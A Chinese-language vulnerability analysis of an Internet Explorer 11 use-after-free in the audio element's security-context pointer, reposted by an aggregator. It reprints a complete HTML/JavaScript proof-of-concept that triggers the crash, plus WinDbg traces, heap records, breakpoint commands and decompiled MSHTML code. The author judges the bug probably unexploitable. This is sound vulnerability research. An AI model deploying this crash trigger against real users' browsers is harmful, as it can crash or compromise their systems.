Microsoft Internet Explorer 11.0.9600.18482 - Use After Free
source link: http://www.whereisk0shl.top/post/2018-11-24?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
作者:k0shl 转载请注明出处:https://whereisk0shl.top
漏洞说明
此漏洞是由于IE浏览器在处理CAduioElement对象的时候,在由于释放之后没有进行标记,后续调用也没有进行检查,导致再次调用的时候导致释放后重利用漏洞,下面对此漏洞进行分析。值得一提的是,在IE 11中对dll引用了ASLR,所以在调试过程中的地址会发生一些变化,不过不影响分析。
这个漏洞对应的CVE编号没有找到,不影响漏洞分析的过程,请下载对应版本的IE浏览器触发PoC。
PoC:
<!DOCTYPE html> <html> <head> <meta http-equiv="content-type" content="text/html; charset=UTF-8"> <meta http-equiv="Expires" content="0" /> <meta http-equiv="Cache-Control" content="no-store, no-cache, must-revalidate" /> <meta http-equiv="Cache-Control" content="post-check=0, pre-check=0" /> <meta http-equiv="Pragma" content="no-cache" /> <style type="text/css"> body{ background-color:lime; font-color:red; }; </style> <script type='text/javascript'></script> <script type="text/javascript" language="JavaScript"> /* # Exploit Title: Internet Explorer 11 Use After Free # Date: 05/09/2016 - 11/09/2016 # Exploit Author: Marcin Ressel # Vendor Homepage: https://www.microsoft.com/pl-pl/ # Version: 11.0.9600.18482 # Tested on: Windows 7 (x64) ###################################################################################### 0:014> g (13a8.9b8): Access violation - code c0000005 (!!! second chance !!!) eax=2f66abb0 ebx=00000001 ecx=2fbc8f08 edx=7ef8d000 esi=2fbc8f08 edi=2fbc8f08 eip=6d754a45 esp=1feac660 ebp=1feac674 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 MSHTML!CElement::SecurityContext+0x25: 6d754a45 8b80b8000000 mov eax,dword ptr [eax+0B8h] ds:002b:2f66ac68=???????? 0:014> d @eax 2f66abb0 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 2f66abc0 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 2f66abd0 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 2f66abe0 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 2f66abf0 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 2f66ac00 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 2f66ac10 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 2f66ac20 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 0:014> kb ChildEBP RetAddr Args to Child 1feac660 6d5e7c69 6d5e7500 1feac690 2fbc8f08 MSHTML!CElement::SecurityContext+0x25 1feac674 6d5e75cf 2fbc8f08 2fbc8f08 2fbc8f08 MSHTML!CMediaElement::RemoveFromPlayToElementTracker+0x1d 1feac688 6d5e7bee 1feac6a0 6d5e7bd0 00000004 MSHTML!CMediaElement::Shutdown+0xdc 1feac698 6d5e7b1c 48cfae30 50d00bb0 4542dbd0 MSHTML!CMediaElement::OnMarkupTearDown+0x1e 1feac6c4 6d3b23dc 00000000 4542dbd0 50d00bb0 MSHTML!CMarkup::InvokeMarkupTearDownCallbacks+0xc0 1feac6d8 6d3b22c9 00000001 00000001 341a8bb0 MSHTML!CMarkup::TearDownMarkupHelper+0xe4 1feac700 6d3adf1f 00000001 00000001 1feac7d0 MSHTML!CMarkup::TearDownMarkup+0x58 1feac7b0 6dae9665 341a8bb0 00000000 00000000 MSHTML!COmWindowProxy::SwitchMarkup+0x4eb 1feac894 6dae97e3 00005004 ffffffff 00000000 MSHTML!COmWindowProxy::ExecRefresh+0xa1c 1feac8a8 6d0d763b 457f1f68 00005004 00000001 MSHTML!COmWindowProxy::ExecRefreshCallback+0x23 1feac8f0 6d0cd4e2 91c55b56 00000000 6d0cc800 MSHTML!GlobalWndOnMethodCall+0x17b 1feac944 76b862fa 001401c6 00008002 00000000 MSHTML!GlobalWndProc+0x103 1feac970 76b86d3a 6d0cc800 001401c6 00008002 user32!InternalCallWinProc+0x23 1feac9e8 76b877d3 00000000 6d0cc800 001401c6 user32!UserCallWinProcCheckWow+0x109 1feaca4c 76b8789a 6d0cc800 00000000 1feafc28 user32!DispatchMessageWorker+0x3cb 1feaca5c 6e5fa8ac 1feaca9c 62382e48 2efb2fe0 user32!DispatchMessageW+0xf 1feafc28 6e620e88 1feafcf4 6e620b00 5cba2ff0 IEFRAME!CTabWindow::_TabWindowThreadProc+0x464 1feafce8 74e4ad3c 62382e48 1feafd0c 6e614b00 IEFRAME!LCIETab_ThreadProc+0x3e7 1feafd00 6e593a31 5cba2ff0 00000000 6e5939a0 iertutil!_IsoThreadProc_WrapperToReleaseScope+0x1c 1feafd38 6fae9608 4b3b6fe8 705e0368 00000000 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x94 ############################################################################################ */ var doc; var trg, trg_parent; function testcase() { var e1_frame = document.getElementById("e1"); doc = document; e = e1_frame.contentWindow.document.createElement("hr"); rf = doc.body.appendChild(e); e = e1_frame.contentWindow.document.createElement("audio"); rf = doc.body.appendChild(e); dom = doc.getElementsByTagName("*"); document.getElementById("e1").removeNode(true); trg = dom[14]; trg_parent = doc.body; trg.addEventListener('DOMNodeRemoved', new Function('', //'try{trg.removeEventListener("DOMNodeRemoved",this,false);}catch(e){}'+ 'try{trg.appendChild(document.createElement("feOffset")).removeNode(false).ATTRIBUTE_NODE = "false";}catch(e){}'+ 'try{trg_parent = trg.cloneNode(true);}catch(e){}'//+ // 'try{doc = document.implementation.createDocument("about:blank","","text/html");}catch(e){}' ), false); trg_parent.innerHTML = trg.innerHTML; //CollectGarbage(); //trg.innerHTML = "<h1></h1>" setTimeout('location.reload();',700); } </script> <title>Use After Free</title> </head> <body onload='testcase();'> <iframe></iframe><iframe src='about:blank' id='e1'></iframe> </body> </html> </html>
漏洞分析
首先打开IE 11浏览器,附加Windbg,程序崩溃。
First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0d2e8bb8 ebx=00000001 ecx=0d0b8f08 edx=00000000 esi=0d0b8f08 edi=0d0b8f08 eip=634d482a esp=0483c6b4 ebp=0483c6c8 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 MSHTML!CElement::Doc+0x15: 634d482a 8b80b0000000 mov eax,dword ptr [eax+0B0h] ds:0023:0d2e8c68=????????
崩溃位置引用了一个无效指针,eax此时存放的地址是一个无效地址,+0B0h偏移位置的值也是一个无效值,无效引用导致了问题的发生。通过kb查看一下堆栈回溯。
0:007> kb ChildEBP RetAddr Args to Child 051bc398 683358bd 051bc3ac 683352d0 051bc3c8 MSHTML!CElement::Doc+0x15 051bc3b0 683352ba 518cef08 518cef08 051bc3fc MSHTML!CMediaElement::RemoveFromPlayToElementTracker+0x21 051bc3c0 68335a1e 051bc3d8 68335a00 00000028 MSHTML!CMediaElement::Shutdown+0xd7 051bc3d0 6833583c 056fde30 74367d58 066bbbd0 MSHTML!CMediaElement::OnMarkupTearDown+0x1e 051bc3fc 67ee95e9 00000000 066bbbd0 74367d58 MSHTML!CMarkup::InvokeMarkupTearDownCallbacks+0xc0 051bc410 67ee94d6 00000001 00000001 6def7d58 MSHTML!CMarkup::TearDownMarkupHelper+0xdc 051bc438 680fe7a4 00000001 00000001 051bc500 MSHTML!CMarkup::TearDownMarkup+0x58
在最后调用了CElement::Doc,其实最后这个doc是一个securityContext,这个函数调用其实在原PoC中可以看到,不知道为什么我这里显示式Doc,是在RemoveFromPlayerElementTracker函数中调用到的这个函数。
来看一下mshtml.dll,在漏洞附近的调用情况。实际上,观察MSHTML!CElment::Doc发现,eax的值实际上是由esi+30h位置赋值而来。
0:007> !heap -p -a esi address 0d0b8f08 found in _DPH_HEAP_ROOT @ 4a41000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) d1f0f08: d0b8f08 f8 - d0b8000 2000 MSHTML!CAudioElement::`vftable' 6d3c8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229 76f95ede ntdll!RtlDebugAllocateHeap+0x00000030 76f5a40a ntdll!RtlpAllocateHeap+0x000000c4 76f25ae0 ntdll!RtlAllocateHeap+0x0000023a 63a84e3a MSHTML!CAudioElement::CreateElement+0x0000001a 63812404 MSHTML!CElement::Clone+0x000001d7 64354dad MSHTML!CMediaElement::Clone+0x0000001d
通过+hpa的方法看一下esi寄存器的堆的情况,esi实际上存放的是CAudioElement的虚表对象指针,在+30h偏移位置调用时取了一个无效地址,导致了程序崩溃。
0:007> dps esi 0d0b8f08 63a84ec0 MSHTML!CAudioElement::`vftable' 0d0b8f0c 00000001 0d0b8f10 00000001 0d0b8f14 00000018 0d0b8f18 00000000 0d0b8f1c 00000000 0d0b8f20 00000000 0d0b8f24 7ff96910 0d0b8f28 0000007f 0d0b8f2c 02040400 0d0b8f30 00000000 0d0b8f34 00000000 0d0b8f38 0d2e8bb8 0d0b8f3c 6397a178 MSHTML!CVideoElement::`vftable' 0d0b8f40 63a78aec MSHTML!CAudioElement::`vftable' 0d0b8f44 63494c5c MSHTML!CMediaElement::`vftable' 0d0b8f48 63a84eac MSHTML!CAudioElement::`vftable'
这样我们需要关注+30h位置原本存放的什么值,我们通过bp的方法下一个条件断点,跟踪CAudioELment对象的创建情况。
位置下在CAudioElment::CreateElement位置。
bp MSHTML!CAudioElement::CreateElement "gu;.printf \"ptr:[%08x] ,addr:[%08x]\\n\",ecx,ecx+30h;g" ptr:[0d090f08] ,addr:[05be0fe0] (8e4.7f8): C++ EH exception - code e06d7363 (first chance) ptr:[0d0a8f08] ,addr:[05be0fe0] (8e4.7f8): C++ EH exception - code e06d7363 (first chance) ptr:[63466f08] ,addr:[05be0fe0] (8e4.7f8): C++ EH exception - code e06d7363 (first chance) (8e4.7f8): C++ EH exception - code e06d7363 (first chance) ptr:[63412f08] ,addr:[05be0fe0] ptr:[72412f08] ,addr:[05be0fe0] ptr:[1dacaf08] ,addr:[05be0fe0] ptr:[54862f08] ,addr:[05be0fe0] (8e4.7f8): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=723aabb8 ebx=00000001 ecx=63466f08 edx=00000000 esi=63466f08 edi=63466f08 eip=63f1482a esp=0495c3ac ebp=0495c3c0 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 MSHTML!CElement::Doc+0x15: 63f1482a 8b80b0000000 mov eax,dword ptr [eax+0B0h] ds:0023:723aac68=????????
可以看到,之前的esi的值是63466f08地址位置,再看一下之前跟踪的结果,实际上我取了一部分,在整个过程中,有大量的CAudioElement对象创建,在跟踪过程中,其实63466f08创建的对象只有一处,在创建之后,偏移+30h位置的值是05be0fe0地址。来看一下这个地址的内容。
0:007> !heap -p -a 0605ffe0 address 0605ffe0 found in _DPH_HEAP_ROOT @ 61000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 60b01a0: 605ffe0 1c - 605f000 2000 MSHTML!CSecurityContext::`vftable' 6eef8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229 76f95ede ntdll!RtlDebugAllocateHeap+0x00000030 76f5a40a ntdll!RtlpAllocateHeap+0x000000c4 76f25ae0 ntdll!RtlAllocateHeap+0x0000023a 68298d55 MSHTML!ProcessHeapAllocClear+0x00000010 68127697 MSHTML!CreateDoc+0x00000027 681306db MSHTML!CBaseCF::CreateInstance+0x0000005e 6c6c9697 IEFRAME!CBaseBrowser2::_OnCoCreateDocument+0x0000007a
其实这个地方的值是CSecurityContext的虚表指针,实际上,这个值在创建之后,会由于PoC中的调用。
dom = doc.getElementsByTagName("*"); document.getElementById("e1").removeNode(true);
导致CSecurityContext虚表对象释放掉。跟踪CSecurityContext::Release的释放情况。
0:007> bl 0 e 68384e20 0001 (0001) 0:**** MSHTML!CAudioElement::CreateElement "gu;.printf \"ptr:[%08x] ,addr:[%08x]\\n\",ecx,poi(ecx+30h);g" bp MSHTML!CSecurityContext::Release ".printf \"Release:[%08x]\\n\",poi(esp+4);g;"
跟踪过程中可以观察到对象的创建之后释放。
ptr:[05947f08] ,addr:[06a94fe0] Release:[06a94fe0]
释放后,并没有进行标记,而是直接调用js,导致RemoveFromPlayToElementTracker函数执行。
__int32 __thiscall CMediaElement::RemoveFromPlayToElementTracker(CMediaElement *this) { CMediaElement *v1; // esi@1 int v2; // ebx@1 CDoc *v3; // eax@1 __int32 result; // eax@1 struct CPlayToElementTracker *v5; // [sp+8h] [bp-4h]@1 v1 = this; v2 = *((_WORD *)this + 16) != 129; v3 = CElement::Doc(this); result = CDoc::GetPlayToElementTracker(v3, &v5); if ( result >= 0 ) result = CPlayToElementTracker::RemoveElement(v5, v2, v1); return result; }
this指针表示CAudioElment对象,接下来会在CElement::SecurityContext引用到+30h位置的指针的值。
跟踪进这个函数看一下。
struct CDoc *__thiscall CElement::Doc(CElement *this) { int v1; // eax@1 bool v2; // zf@2 v1 = *((_DWORD *)this + 12); if ( *((_DWORD *)this + 9) & 0x30000 ) { v2 = (*(_BYTE *)(v1 + 15) & 1) == 0; v1 = *(_DWORD *)(v1 + 4); } else { v2 = (*((_DWORD *)this + 9) & 0x40000) == 0; } if ( !v2 ) v1 = *(_DWORD *)(v1 + 176); return *(struct CDoc **)(v1 + 12); }
在v1中会引用this+12,就是CSecurityContext的指针值,然而这时候这个指针已经被释放,导致释放后重用漏洞的发生,这里后续没有虚表调用,可能没法继续利用。
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK